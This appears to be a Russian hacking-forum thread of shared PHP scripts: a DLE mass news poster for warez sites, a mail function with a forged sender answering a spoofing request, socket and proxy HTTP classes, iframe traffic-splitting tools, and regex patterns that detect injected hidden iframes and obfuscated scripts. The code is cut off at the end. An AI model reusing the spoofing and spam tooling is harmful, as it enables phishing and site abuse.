Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    PHP Unzipper v1.1

    PHP Unzipper v1.1
    Часто, нужно кидать через ftp на сервек кучу маленьких файлов, что забирает много времени, плюс обрывы соеденения и т.д.
    На много удобнее разархивировать zip-файл на сервере с помощью php!!!

    скачать скрипт
     
    #341 mff, 12 May 2008
    Last edited: 25 Jul 2008
    2 people like this.
  2. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    Sypex Dumper Lite

    Sypex Dumper Lite - PHP скрипт, с помощью которого можно просто и быстро создать резервную копию (бэкап, дамп) базы данных.

    скачать скрипт
     
    #342 mff, 12 May 2008
    Last edited: 25 Jul 2008
  3. Liar

    Liar Active Member

    Joined:
    17 May 2007
    Messages:
    191
    Likes Received:
    205
    Reputations:
    20
    Webproxy glype-0.5.3.1

    Что такое Glype Proxy?
    Glype Proxy - PHP прокси сервер, который подобно PHProxy позволяет обходить внутрисетевые ограничения путем использования внешнего веб-сервера. Glype Proxy обладает улучшенной поддержкой JavaScript, фильтром для блокировки как определенных веб-сайтов, так и адресов с заданными ключевыми словами, еще одной полезной функцией Glype Proxy является встроенная система кэширования, которая экономит ресурсы сервера, тем самым повышает производительность веб-сайта при малых потреблениях ресурсов системы, даже при работе с видео, аудио и flash. Упрощенная установка скрипта на веб-сервер позволит без знания PHP уже после загрузки на сервер начать использование Glype Proxy, а поддержка "тем" оформления обеспечит возможность быстрого выбора веб-дизайна для веб-прокси.

    @@@@@@@@@@@@@@@@@@@@@
    нашол у себя на диске думаю пригодится ;)

    http://slil.ru/25805320
     
  4. heks

    heks Banned

    Joined:
    24 Aug 2007
    Messages:
    713
    Likes Received:
    95
    Reputations:
    12
    дата релиза какая ?
     
  5. КВР

    КВР Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    16
    Likes Received:
    30
    Reputations:
    -2
    web-defence-ifr.

    ifr 1.1 - разделения ифрейм трафика по странам так же статика по странам и загрузок за день
    st_load_1.1 - статистика загрузок по странам за день и за все время...
    http://www.web-defence.ru/ifr 1.1.rar
    http://www.web-defence.ru/t_load_1.1.rar
     
  6. coo1io

    coo1io New Member

    Joined:
    13 Apr 2008
    Messages:
    16
    Likes Received:
    3
    Reputations:
    0
    скиньте кто-то пожалуйста скрипт для отпрвки мыла с подменой адреса на пхп
    те что указывались ранее не работают
    сорри за флуд
     
  7. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    PHP:
    function send_email($email// Функция отправки письма
    {
    $header='From: <[email protected]>';
    $subject="=?windows-1251?b?".base64_encode("название темы")."?=";
    $msg="текст сообщения (строка1)\r\n
    (строка1)\r\n
    (строка...)\r\n
    (строкаN)\r\n"
    ;
    return 
    mail($email$subject$msg$header);
    }
     
  8. coo1io

    coo1io New Member

    Joined:
    13 Apr 2008
    Messages:
    16
    Likes Received:
    3
    Reputations:
    0
    а можна что-то такое как на http://never-mind.ru/sendmail/ ?
     
  9. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Сойдет?
    http://rapidshare.com/files/116525700/sender.php
     
    _________________________
  10. coo1io

    coo1io New Member

    Joined:
    13 Apr 2008
    Messages:
    16
    Likes Received:
    3
    Reputations:
    0
    Warning: fread(): supplied argument is not a valid stream resource in /home/tu2.ru/c/co/coolio/htdocs/www/0.php on line 27

    Warning: array_unique() [function.array-unique]: The argument should be an array in /home/tu2.ru/c/co/coolio/htdocs/www/0.php on line 47
    Рассылка завершена!
    Отправлено : 0 Ошибок связи: 0 Плохих email: 0
     
    2 people like this.
  11. GrAmOzEkA

    GrAmOzEkA Elder - Старейшина

    Joined:
    25 Jun 2006
    Messages:
    234
    Likes Received:
    76
    Reputations:
    29
    Для тех кто зарабатывает на дипозите :)

    Скрипт для массового добавления новостей на сайты сделанные на движке DLE:

    index.php
    PHP:
    <?php

    set_magic_quotes_runtime
    (0);

    @
    set_time_limit(0);

    @
    ini_set('max_execution_time',0);

    echo 
    '<title>DLE News Adder Modification QJokeR</title><body bgcolor=ffff99><font size="6">

    <font color="#333399">Сайт Для Добавления Новостей QJokeR<a href="?admin">(сайты)</a></font></font><hr><center>'
    ;

    function 
    lower($text){
    return 
    strtolower(strtr($text,'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЬЫЪЭЮЯ','абвгдеёжзийклмнопрстуфхцчшщьыъэюя'));
    }


    function 
    getcat($text,$find){
    if (!
    $find){
    return 
    0;
    }
    $temp=substr($text,0,strpos(lower($text), lower($find)."</option>"));
    if (
    $temp){
    $cat=substr($temp,strrpos($temp'="')+2,2);
    if (!
    preg_match('/^[0-9]+$/i'$cat)) {return substr($cat,0,1);}
    return 
    $cat;
    }
    }


    function 
    senddata($post,$host,$cook,$pic){
    $data="$post\r\n\r\n";
    @
    $fpfsockopen($host,80,$err,$errs,50);
    if (!
    $fp) {echo "<b>$host недоступен!</b><br>";return(1);}
    $out"POST /";
    if (
    $pic==2) {$out.="transload.php";} else {$out.="?do=addnews";}
    $out.=" HTTP/1.1\r\nHost: $host\r\nCookie: $cook\r\n".
    "Content-Type: application/x-www-form-urlencoded\r\nContent-Length: ".
    strlen($data)."\r\nConnection: close\r\n\r\n$data\r\n\r\n";
    fwrite($fp$out);
    while (!
    feof($fp)){
    $line .= fread($fp1024);
    }
    fclose($fp);
    return 
    $line;
    }



    function 
    sendnews($host,$mode,$how){
    global 
    $img$title;

    $date=time();
    $logfile=date("d_m_y",$date);
    $logfile.=".txt";
    $fplog fopen($logfile"a");
    fputs ($fplog$title."\n");

    $line=senddata('login_name='.$_POST['login'].'&login_password='.$_POST['pass'].'&login=submit&image.x=0&image.y',$host,0,0);
    if (
    $line!=1) {
    if (
    strpos($line,'К сожалению у вас нет прав для публикации новостей')){
    $messege1="Новость НЕ добавлена на $host !";
    echo 
    "<b>".$messege1."</b><br>";
    fputs ($fplog$messege1."\n");
    return(
    1);
    }
    preg_match("|dle_hash=([\d\w]+);|i",$line,$try);
    $cat=getcat($line,$_POST['find']);
    if (!
    $cat) {$cat=getcat($line,$_POST['find2']);}
    if (!
    $cat) {$cat=getcat($line,$_POST['find3']);}
    if (!
    $cat) {$cat=getcat($line,$_POST['find4']);}
    if (!
    $cat) {$cat=getcat($line,$_POST['find5']);}
    if (!
    $cat) {$cat=getcat($line,$_POST['find6']);}
    if (!
    $cat) {$cat=getcat($line,$_POST['find7']);}
    if (!
    $cat) {$cat=getcat($line,$_POST['find8']);}
    if (!
    $cat) {$cat=getcat($line,$_POST['find9']);}
    if (!
    $cat) {$cat=getcat($line,$_POST['find10']);}
    if (!
    $cat) {$cat=1;}
    if (!
    $img) {
    $story=$_POST['story'];
    }else{
    $story="[center][img]".$img."[/img][/center]\r\n\r\n".$_POST['story'];
    }
    $url="".$_POST['link']."";
    $send="mod=addnews&catlist[]=$cat&title=".$_POST['title']."&short_story=$story&full_story=";
    if (!
    $mode) {
    $send.="$story\r\n\r\n";
    }
    if (
    $_POST['link']) {
    if (!
    $how) {
    $send.="".$url."<br><br>";
    }else{
    $send.="".$url."<br><br>";
    }
    }
    $url="[center][url=".$_POST['link2']."][b]Скачать[/b][/url][/center]";
    if (
    $_POST['link2']){
    if (!
    $how) {$send.="[hide]".$url."[/hide]<br>";
    }else{
    $send.="[quote]".$url."[/quote]<br>";}
    }

    $url="[center][url=".$_POST['link3']."][b]Зеркало №1[/b][/url][/center]";
    if (
    $_POST['link3']){
    if (!
    $how){
    $send.="[hide]".$url."[/hide]<br>";
    }else{
    $send.="[quote]".$url."[/quote]<br>";
    }
    }

    $url="[center][url=".$_POST['link4']."][b]Зеркало №2[/b][/url][/center]";
    if (
    $_POST['link4']){
    if (!
    $how){
    $send.="[hide]".$url."[/hide]<br>";
    }else{
    $send.="[quote]".$url."[/quote]<br>";
    }
    }

    $url="[center][url=".$_POST['link5']."]Зеркало №3[/url][/center]";
    if (
    $_POST['link5']){
    if (!
    $how){
    $send.="[hide]".$url."[/hide]";
    }else{
    $send.="[quote]".$url."[/quote]";
    }
    }

    $url="[center][url=".$_POST['link6']."]Зеркало №4[/url][/center]";
    if (
    $_POST['link6']){
    if (!
    $how){
    $send.="[hide]".$url."[/hide]";
    }else{
    $send.="[quote]".$url."[/quote]";
    }
    }

    $url="[center][url=".$_POST['link7']."]Зеркало №5[/url][/center]";
    if (
    $_POST['link7']){
    if (!
    $how){
    $send.="[hide]".$url."[/hide]";
    }else{
    $send.="[quote]".$url."[/quote]";
    }
    }

    $send.='&allow_comm='.$_POST['allow_comm'].'&allow_main='.$_POST['allow_main'].'&approve='.$_POST['approve'].
    '&allow_rating='.$_POST['allow_rating'].'&news_fixed='.$_POST['news_fixed'];
    $line=senddata($send,$host,"dle_password=".md5($_POST['pass'])."; member_password=".md5($_POST['pass']).
    "; dle_name=".$_POST['login']."; member_name=".$_POST['login']."; dle_hash=$try[1]",0);

    if (isset(
    $_GET['debug'])){
    echo 
    $line;
    }

    if (
    strpos($line,'Ваша новость была успешно добавлена')){ 
    $messege2="Новость успешно добавлена на $host";
    echo 
    $messege2;
    fputs ($fplog$messege2."\n");
    if (
    $cat==1){
    echo 
    " (Категория по умолчанию)";
    }
    echo 
    "!<br>";
    }
    }
    fclose ($fplog);
    }

    if (isset(
    $_POST['text'])){
    $w=fopen('sites.php','w');
    fwrite($w,stripslashes($_POST['text']));
    die (
    'Сохранено!');
    }

    if (isset(
    $_GET['admin'])){
    $w=fopen('sites.php','r');
    die (
    '<form method=post>
    <textarea name=text cols=70 rows=24>'
    .htmlspecialchars(fread($w,filesize('sites.php'))).'</textarea><br>
    <input type=submit value=Отправить>'
    );
    }



    if (
    $_POST['title'] && $_POST['story'] && $_POST['pass'] && $_POST['login']) {
    $img=$_POST['pic'];
    $title=$_POST['title'];
    if (
    $_POST['imgsh'] && $_POST['pic']){
    $img=senddata("url=".$_POST['pic']."&MAX_FILE_SIZE=13145728&optsize=320x320&uploadtype=on&optimage=1""imageshack.us",0,2);
    $img=strstr(strstr($img,'image to friends'),'http:');
    $img=substr($img,0,strpos($img,'"/>'));
    if (
    $img){
    echo 
    "Картинка залита на ImageShack.us! Ссылка - $img<br><br>";
    }else{
    $img=$_POST['pic'];
    }
    }

    include(
    'sites.php');
    exit;
    }
    echo 
    '
    <form method=post>

    Логин \ Пароль:<br><input type="text" name="login" > <input type="password" name="pass" ><br>

    Заголовок:<br><input type="text" name="title"><br>

    Категория:<br><input type="text" name="find" value="софт"> или <input type="text" name="find2" value="software">

     или <input type="text" name="find3" value="warez"> или <input type="text" name="find4" value="программы">

     или <input type="text" name="find5" value="soft"> или <input type="text" name="find6" value="софтик"> или <input type="text" name="find7" value="разное">
     
      или <input type="text" name="find8" value="варез"> или <input type="text" name="find9" value="Софт / Soft"> или <input type="text" name="find10" value="новости"><br>Картинка:<br>

    <input type="checkbox" name="imgsh" value="1" unchecked> На ImageShack.us<br>

    <input type="text" name="pic"  size=45><br>Новость:<br><textarea name="story" cols=65 rows=12>
    <br>Информация о Софте
    [b]Название[/b]: Vista Optimizer 4.4.17
    [b]Категория[/b]: Софт
    [b]Год выпуска[/b]: 2008
    [b]Размер файла[/b]: 5,15 МБ
    Кол-во партов: 1
    [b]Залито на[/b]: DepositFiles | letitbit | Vip-file</textarea>

    <br>Продолжение Новости:<br><textarea name="link" cols=65 rows=12></textarea>

    <br>Ссылка:<br><input type="text" name="link2" size=60><br>

    <br>Ссылка:<br><input type="text" name="link3" size=60><br>

    <br>Ссылка:<br><input type="text" name="link4" size=60><br>

    <br>Ссылка:<br><input type="text" name="link5" size=60><br>

    <br>Ссылка:<br><input type="text" name="link6" size=60><br>

    <br>Ссылка:<br><input type="text" name="link7" size=60><br>



    <input type="checkbox" name="allow_comm" value="1" checked> Разрешить комментарии<br>

    <input type="checkbox" name="allow_main" value="1" checked> Публиковать на главной<br>

    <input type="checkbox" name="approve" value="1" checked> Опубликовать новость на сайте<br>

    <input type="checkbox" name="allow_rating" value="1" checked> Разрешить рейтинг<br>

    <input type="checkbox" name="news_fixed" value="1"> Зафиксировать новость<br><br>

    <input type=submit value=Отправить>  

    </form>'
    ;
    sites.php
    PHP:
    <?php



    //////////     Пример :

    // sendnews('Сюда пишем хост(без http://)',0 если в строке

    // "полная новость" нада цитировать сообщение из короткой новости, а 1

    // если не нада,0 и ссылки закрываются [hide] или 1 и [quote]);

    //

    sendnews ('1-warez.org',0,1);
    sendnews ('13mb.ru',0,1);
    sendnews ('1lv.lv',0,1);
    sendnews ('4ort.net.ru',0,1);
    sendnews ('afil.ru',0,1);
    sendnews ('allbest4free.ru',0,1);
    sendnews ('allwarez.net',0,1);
    sendnews ('apelsinoff.net',0,1);

    ?>
    QJokeR (c)
     
    1 person likes this.
  12. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Универсальная функция для получения cookies из заголовка ответа сервера. Возвращает строку, которую можно сразу вставлять в заголовок Cookie.

    PHP:
    function get_ret_cookie($res)
    {
      
    preg_match_all('/Set-Cookie: (.+);/iUs',$res,$cook);
      if(!isset(
    $cook[1])) return '';

      
    $cookies=implode('; ',array_unique($cook[1]));
      return 
    $cookies;
    }
    PS. NOmeR1, спасибо за совет)
     
    #352 d_x, 24 May 2008
    Last edited: 24 May 2008
    1 person likes this.
  13. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Коментируем не нужный ифреймы( те что width height =1,0) и некоторые с обфускачией с покоцаных сайтов:
    PHP:

    function remove_kod($file){
    if(empty(
    $file){
    $text=file_get_contents($file);
    $patern[0]="<iframe(.*)WIDTH=(\"|')(1|0|00)((\"|'))(.*)HEIGHT=((\"|'))(1|0|00)((\"|'))(.*)>(.*)</iframe>";
    $patern[9]="<iframe(.*)WIDTH=(1|0|00)(.*)HEIGHT=(1|0|00)(.*)>(.*)</iframe>";
    $patern[1]="<--oc65-->(.*)<--oc65-->";
    $patern[2]="<-- ~ -->(.*)<-- ~ -->";
    $patern[3]="<script(.*)>eval\(unescape(.*)\)</script>";
    $patern[4]="<script(.*)>document.write\(unescape(.*)\)</script>";
    $patern[5]="<script(.*)>(.*)(\n)*(.*)document.write\(String.fromCharCode\(Math.round\((.*)\)\)\)(.*)</script>";
    $patern[6]="<script(.*)>((\n)*.*)(\n)?document.write\((.*)\.join\((.*)\)\)(.*)</script>";
    $patern[8]="<script(.*)>document.write\(eval\(unescape(.*)\)\)(.*)</script>";
    $out =$text;
    foreach(
    $patern as $keys){
    $outpreg_replace_callback("#($keys)#i"create_function('$matches','return "<!---- $matches[0] --->";'),$out);}
    return 
    $out;}}
     
  14. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Работаем с Keep-alive и HTTP/1.1

    Написал класс для работы с http. Поддерживает keep-alive и close соединение и корректно обрабатывает данные, полученные по HTTP/1.1 с Transfer-Encoding: chunked. HTTP/1.0 также работает.
    Требуется поддержка функций socket_***.

    Код класса с комментариями:
    PHP:
    <?php
    /* WEBsock class by DX */

    class websock
    {
      
    /*все переменные private*/
      
    var $sock;
      var 
    $connection=0;
      var 
    $keepalive=300;
      var 
    $request='';
      var 
    $browser='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0';
      var 
    $proto='1.0';
      var 
    $addr='';
      var 
    $success=0;


      
    /*** Конструктор. $addr - адрес или IP сайта, $port - порт. ***/

      
    function websock($addr,$port=80)
      {
        if(!
    function_exists('socket_create'))
          return;

        
    $this->addr=$addr;

        if(!
    preg_match("/^(\d{1,3}\.){3}\d{1,3}$/",$addr))
          
    $addr=gethostbyname($addr);

        if(!
    $addr) return;

        
    $this->sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);

        if(!
    $this->sock)
          return;

        if(!
    socket_connect($this->sock,$addr,$port)) return;
        if(!
    socket_set_nonblock($this->sock)) return;

        
    $this->success=1;
      }


      
    /*** Проверка успешности создания сокета и подключения к нему. ***/

      
    function check_success()
      {
        return 
    $this->success;
      }


      
    /*** Запись в сокет. $data - данные для записи в сокет. Возвращает число байт, записанных в сокет. Если $data не указано, то будет записаны заголовки, созданные функцикей get_header() (см. ниже). ***/

      
    function swrite($data='')
      {
        if(!
    $data$data=$this->request;

        if(
    socket_select($r=NULL,$w=array($this->sock),$f=NULL,5)!=1)
          return 
    false;

        return 
    socket_write($this->sock,$data);
      }


      
    /*** Чтение $bytes байт из сокета. Возвращает считанный контент. ***/

      
    function sread($bytes)
      {
        if(
    socket_select($r=array($this->sock),$w=NULL,$f=NULL,5)!=1)
          return 
    false;

        return 
    socket_read($this->sock,$bytes);
      }


      
    /*** Чтение из сокета всего доступного содержимого. Эта функция не работает с HTTP/1.1. $stepbytes - сколько байтов считывать за раз. Возвращает считанный контент. ***/

      
    function sreadfull($stepbytes=128)
      {
        
    $reading='';

        while((
    $ret=$this->sread($stepbytes))!='')
        {
          
    $reading.=$ret;
        }

        
    $reading=$this->get_content_headers($reading);

        return 
    $reading;
      }


      
    /*** Установка типа соединения. $conn==0 - close, $conn==1 - keep-alive; $keepalive - время поддержки соединения. ***/

      
    function set_connection($conn=0,$keepalive=300)
      {
        
    $this->connection=$conn==1;
        
    $this->keepalive=$keepalive;
      }

      function 
    set_proto($proto='1.0'//set 1.0 or 1.1
      
    {
        
    $this->proto=$proto;
      }


      
    /*** Универсальная функция чтения из сокета, читает правильно независимо от типа соединения. Возвращает массив: $c[0] - заголовки, $c[1] - содержимое ***/

      
    function http11read($stepbytes=128)
      {
        
    $c=$this->sreadfull($stepbytes);

        if(
    strpos($c[0],'Transfer-Encoding: chunked')!==false)
          return array(
    $c[0],$this->remove_lengths($c[1]));
        else
          return 
    $c;
      }


      
    /*** Получение cookies из заголовка ответа сервера и представление их в виде, удобном для вставки в заголовок Cookie. ***/
      /*** $header - заголовок ответа сервера; $ret==0 - будет возвращена строка для заголовка Cookie, $ret==1 - будет возвращён массив cookies. ***/

      
    function get_cookie($header,$ret=0)
      {
        
    preg_match_all('/Set-Cookie: (.+);/iUs',$header,$cook);
        if(!isset(
    $cook[1])) return $ret=='' : array();

        
    $carr=array_unique($cook[1]);

        
    $cookies=implode('; ',$carr);
        return 
    $ret==$cookies $carr;
      }


      
    /*** Обрабатывает страницу с Transfer-encoding: chunked. Возвратит страницу без разбиений. ***/

      
    function remove_lengths($res)
      {
        
    $len=1;
        
    $nlen=0;
        
    $curlen=0;
        
    $ret='';

        
    $tmp=explode("\r\n",$res);

        foreach(
    $tmp as $line)
        {
          if(
    $len==1)
          {
            if(
    $line=="\r\n")
            {
              
    $ret.=$line."\r\n";
              continue;
            }

            
    $nlen=base_convert($line,16,10);
            if(
    $nlen==0) continue;
            
    $len=0;
            
    $curlen=0;
            continue;
          }

          
    $curlen+=strlen($line."\r\n");

          
    $ret.=$line."\r\n";

          if(
    $curlen>=$nlen)
          {
            
    $len=1;
            continue;
          }
        }

        return 
    $ret;
      }


      
    /*** Разбивает полученные данные на заголовок и содержимое. $res - весь контент. Возвратит массив: $ret[0] - заголовки, $ret[1] - содержимое. ***/

      
    function get_content_headers($res)
      {
        
    $ret=explode("\r\n\r\n",$res,2);
        return 
    $ret;
      }


      
    /*** Устанавливает виртуальный браузер. ***/

      
    function set_browser($browser='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0')
      {
        
    $this->browser=$browser;
      }


      
    /*** Формирует заголовки для записи в сокет. ***/
      /*** $service_uri - SERVICE_URI. Например, для http://site.com/aaa/bbb.php это /aaa/bbb.php ***/
      /*** $page - страница. Для примера выше это site.com. Если сокет был создан как new websock('site.com'), то страницу можно не указывать. Если же как new websock('1.2.3.4'), то необходимо указывать. ***/
      /*** $data - передаваемые скрипту данные (только для POST) ***/
      /*** $method - GET/POST и т.д. ***/
      /*** $cookie - cookies в виде строки ***/
      /*** $ref - Referer ***/
      /*** $addheaders - дополнительные заголовки, которые мы хотим установить ***/
      /***  Возвращает запрос и устанавливает его как запрос по умолчанию. ***/

      
    function get_header($service_uri,$page='',$data='',$method='GET',$cookie='',$ref='',$addheaders='')
      {
        if(!
    $page$page=$this->addr;
        
    $request="$method $service_uri HTTP/{$this->proto}\r\n";
        
    $request.="Host: $page\r\n";
        if(
    $this->browser$request.="User-Agent: {$this->browser}\r\n";
        if(
    $ref$request.="Referer: $ref\r\n";

        if(
    $method=='POST')
        {
          
    $request.="Content-Type: application/x-www-form-urlencoded\r\n";
          
    $request.="Content-Length: ".strlen($data)."\r\n";
        }

        if(
    $this->connection==0)
        {
          
    $request.="Connection: close\r\n";
        }
        else
        {
          
    $request.="Keep-alive: {$this->keepalive}\r\n";
          
    $request.="Connection: keep-alive\r\n";
        }

        if(
    $addheaders)
          
    $request.=$addheaders;

        if(
    $cookie)
          
    $request.="Cookie: $cookie\r\n";

        
    $request.="\r\n";

        
    $request.=$data;

        
    $this->request=$request;

        return 
    $request;
      }


      
    /*** Закрывает соединение ***/

      
    function sclose()
      {
        return 
    socket_close($this->sock);
      }


      
    /*** Возвращает последнюю ошибку работы с сокетами. ***/

      
    function serr()
      {
        return 
    socket_last_error($this->sock);
      }
    }

    ?>

    Пример работы с классом:
    PHP:
    <?php
    /* скрипт получает страницу http://mail.ru через HTTP/1.1 и Connection: keep-alive. */

    require_once("websock.php"); //подключение файла с классом

    $s=new websock('mail.ru',80); //создание нового сокета: http://mail.ru:80

    $s->set_connection(1,300); //keep-alive: 300
    $s->set_proto('1.1'); //HTTP 1.1

    $s->get_header('/'); //формируем заголовок для запроса к серверу (получаем корень http://mail.ru/)

    $s->swrite(); //пишем его в сокет

    $ret=$s->http11read(); //универсальная функция чтения из сокета, неважно, какие заданы параметры подключения. Читаем всё возвращённое содержимое.

    print $ret[1]; //$ret[0] - заголовки, $ret[1] - содержимое

    $s->sclose(); //закрываем соединение
    ?>
     
  15. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Обновил класс из предыдущего поста, теперь можно удобно работать с прокси.

    Код класса:
    PHP:
    <?php
    /* WEBsock class by DX */

    class websock
    {
      
    /*все переменные private*/
      
    var $sock;
      var 
    $connection=0;
      var 
    $keepalive=300;
      var 
    $request='';
      var 
    $browser='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0';
      var 
    $proto='1.0';
      var 
    $addr='';
      var 
    $success=0;
      var 
    $proxy='';
      var 
    $pport=0;
      var 
    $port=0;
      var 
    $s_addr='';
      var 
    $s_port=0;


      
    /*** Конструктор. $addr - адрес или IP сайта, $port - порт. ***/

      
    function websock($addr,$port=80)
      {
        if(!
    function_exists('socket_create'))
          return;

        
    $this->addr=$addr;
        
    $this->s_addr=$addr;
        
    $this->s_port=$port;

        if(!
    preg_match("/^(\d{1,3}\.){3}\d{1,3}$/",$addr))
          
    $addr=gethostbyname($addr);

        if(!
    $addr) return;

        
    $this->sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);

        if(!
    $this->sock)
          return;

        
    $this->success=1;
      }


      
    /*** Подключает сокет (через прокси или напрямую). ***/

      
    function sconnect()
      {
        if(
    $this->proxy)
        {
          if(!
    socket_connect($this->sock,$this->proxy,$this->pport)) return;
        }
        else
        {
          if(!
    socket_connect($this->sock,$this->s_addr,$this->s_port)) return;
        }

        if(!
    socket_set_nonblock($this->sock)) return;
      }


      
    /*** Устанавливает прокси с ip $addr и портом $port. ***/

      
    function set_proxy($addr,$port)
      {
        
    $this->proxy=$addr;
        
    $this->pport=$port;
      }


      
    /*** Проверка успешности создания сокета и подключения к нему. ***/

      
    function check_success()
      {
        return 
    $this->success;
      }


      
    /*** Запись в сокет. $data - данные для записи в сокет. Возвращает число байт, записанных в сокет. Если $data не указано, то будет записаны заголовки, созданные функцикей get_header() (см. ниже). ***/

      
    function swrite($data='')
      {
        if(!
    $data$data=$this->request;

        if(
    socket_select($r=NULL,$w=array($this->sock),$f=NULL,5)!=1)
          return 
    false;

        return 
    socket_write($this->sock,$data);
      }


      
    /*** Чтение $bytes байт из сокета. Возвращает считанный контент. ***/

      
    function sread($bytes)
      { 
        if(
    socket_select($r=array($this->sock),$w=NULL,$f=NULL,5)!=1)
          return 
    false;

        return 
    socket_read($this->sock,$bytes);
      }


      
    /*** Чтение из сокета всего доступного содержимого. Эта функция не работает с HTTP/1.1. $stepbytes - сколько байтов считывать за раз. Возвращает считанный контент. ***/

      
    function sreadfull($stepbytes=128)
      {
        
    $reading='';

        while((
    $ret=$this->sread($stepbytes))!='')
        {
          
    $reading.=$ret;
        }

        
    $reading=$this->get_content_headers($reading);

        return 
    $reading;
      }


      
    /*** Установка типа соединения. $conn==0 - close, $conn==1 - keep-alive; $keepalive - время поддержки соединения. ***/

      
    function set_connection($conn=0,$keepalive=300)
      {
        
    $this->connection=$conn==1;
        
    $this->keepalive=$keepalive;
      }

      function 
    set_proto($proto='1.0'//set 1.0 or 1.1
      
    {
        
    $this->proto=$proto;
      }


      
    /*** Универсальная функция чтения из сокета, читает правильно независимо от типа соединения. Возвращает массив: $c[0] - заголовки, $c[1] - содержимое ***/

      
    function http11read($stepbytes=128)
      {
        
    $c=$this->sreadfull($stepbytes);

        if(
    strpos($c[0],'Transfer-Encoding: chunked')!==false)
          return array(
    $c[0],$this->remove_lengths($c[1]));
        else
          return 
    $c;
      }


      
    /*** Получение cookies из заголовка ответа сервера и представление их в виде, удобном для вставки в заголовок Cookie. ***/
      /*** $header - заголовок ответа сервера; $ret==0 - будет возвращена строка для заголовка Cookie, $ret==1 - будет возвращён массив cookies. ***/

      
    function get_cookie($header,$ret=0)
      {
        
    preg_match_all('/Set-Cookie: (.+);/iUs',$header,$cook);
        if(!isset(
    $cook[1])) return $ret=='' : array();

        
    $carr=array_unique($cook[1]);

        
    $cookies=implode('; ',$carr);
        return 
    $ret==$cookies $carr;
      }


      
    /*** Обрабатывает страницу с Transfer-encoding: chunked. Возвратит страницу без разбиений. ***/

      
    function remove_lengths($res)
      {
        
    $len=1;
        
    $nlen=0;
        
    $curlen=0;
        
    $ret='';

        
    $tmp=explode("\r\n",$res);

        foreach(
    $tmp as $line)
        {
          if(
    $len==1)
          {
            if(
    $line=="\r\n")
            {
              
    $ret.=$line."\r\n";
              continue;
            }

            
    $nlen=base_convert($line,16,10);
            if(
    $nlen==0) continue;
            
    $len=0;
            
    $curlen=0;
            continue;
          }

          
    $curlen+=strlen($line."\r\n");

          
    $ret.=$line."\r\n";

          if(
    $curlen>=$nlen)
          {
            
    $len=1;
            continue;
          }
        }

        return 
    $ret;
      }


      
    /*** Разбивает полученные данные на заголовок и содержимое. $res - весь контент. Возвратит массив: $ret[0] - заголовки, $ret[1] - содержимое. ***/

      
    function get_content_headers($res)
      {
        
    $ret=explode("\r\n\r\n",$res,2);
        return 
    $ret;
      }


      
    /*** Устанавливает виртуальный браузер. ***/

      
    function set_browser($browser='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0')
      {
        
    $this->browser=$browser;
      }


      
    /*** Формирует заголовки для записи в сокет. ***/
      /*** $service_uri - SERVICE_URI. Например, для http://site.com/aaa/bbb.php это /aaa/bbb.php ***/
      /*** $page - страница. Для примера выше это site.com. Если сокет был создан как new websock('site.com'), то страницу можно не указывать. Если же как new websock('1.2.3.4'), то необходимо указывать. ***/
      /*** $data - передаваемые скрипту данные (только для POST) ***/
      /*** $method - GET/POST и т.д. ***/
      /*** $cookie - cookies в виде строки ***/
      /*** $ref - Referer ***/
      /*** $addheaders - дополнительные заголовки, которые мы хотим установить ***/
      /***  Возвращает запрос и устанавливает его как запрос по умолчанию. ***/

      
    function get_header($service_uri,$page='',$data='',$method='GET',$cookie='',$ref='',$addheaders='')
      {
        if(!
    $page$page=$this->addr;

        if(
    $this->proxy)
          
    $request="$method http://{$this->s_addr}:{$this->s_port} HTTP/{$this->proto}\r\n";
        else
          
    $request="$method $service_uri HTTP/{$this->proto}\r\n";

        
    $request.="Host: $page\r\n";
        if(
    $this->browser$request.="User-Agent: {$this->browser}\r\n";
        if(
    $ref$request.="Referer: $ref\r\n";

        if(
    $method=='POST')
        {
          
    $request.="Content-Type: application/x-www-form-urlencoded\r\n";
          
    $request.="Content-Length: ".strlen($data)."\r\n";
        }

        if(
    $this->connection==0)
        { 
          
    $request.="Connection: close\r\n";
        }
        else
        {
          
    $request.="Keep-alive: {$this->keepalive}\r\n";
          
    $request.="Connection: keep-alive\r\n";
        }

        if(
    $addheaders)
          
    $request.=$addheaders;

        if(
    $cookie)
          
    $request.="Cookie: $cookie\r\n";

        
    $request.="\r\n";

        
    $request.=$data;

        
    $this->request=$request;

        return 
    $request;
      }


      
    /*** Закрывает соединение ***/

      
    function sclose()
      {
        return 
    socket_close($this->sock);
      }


      
    /*** Возвращает последнюю ошибку работы с сокетами. ***/

      
    function serr()
      {
        return 
    socket_last_error($this->sock);
      }
    }

    ?>
    Пример получения страницы через прокси:
    PHP:
    <?php
    /* скрипт получает страницу http://myip.ru через HTTP/1.1 и Connection: keep-alive, используя прокси */

    require_once("websock.php"); //подключение файла с классом

    $s=new websock('myip.ru',80); //создание нового сокета: http://myip.ru:80


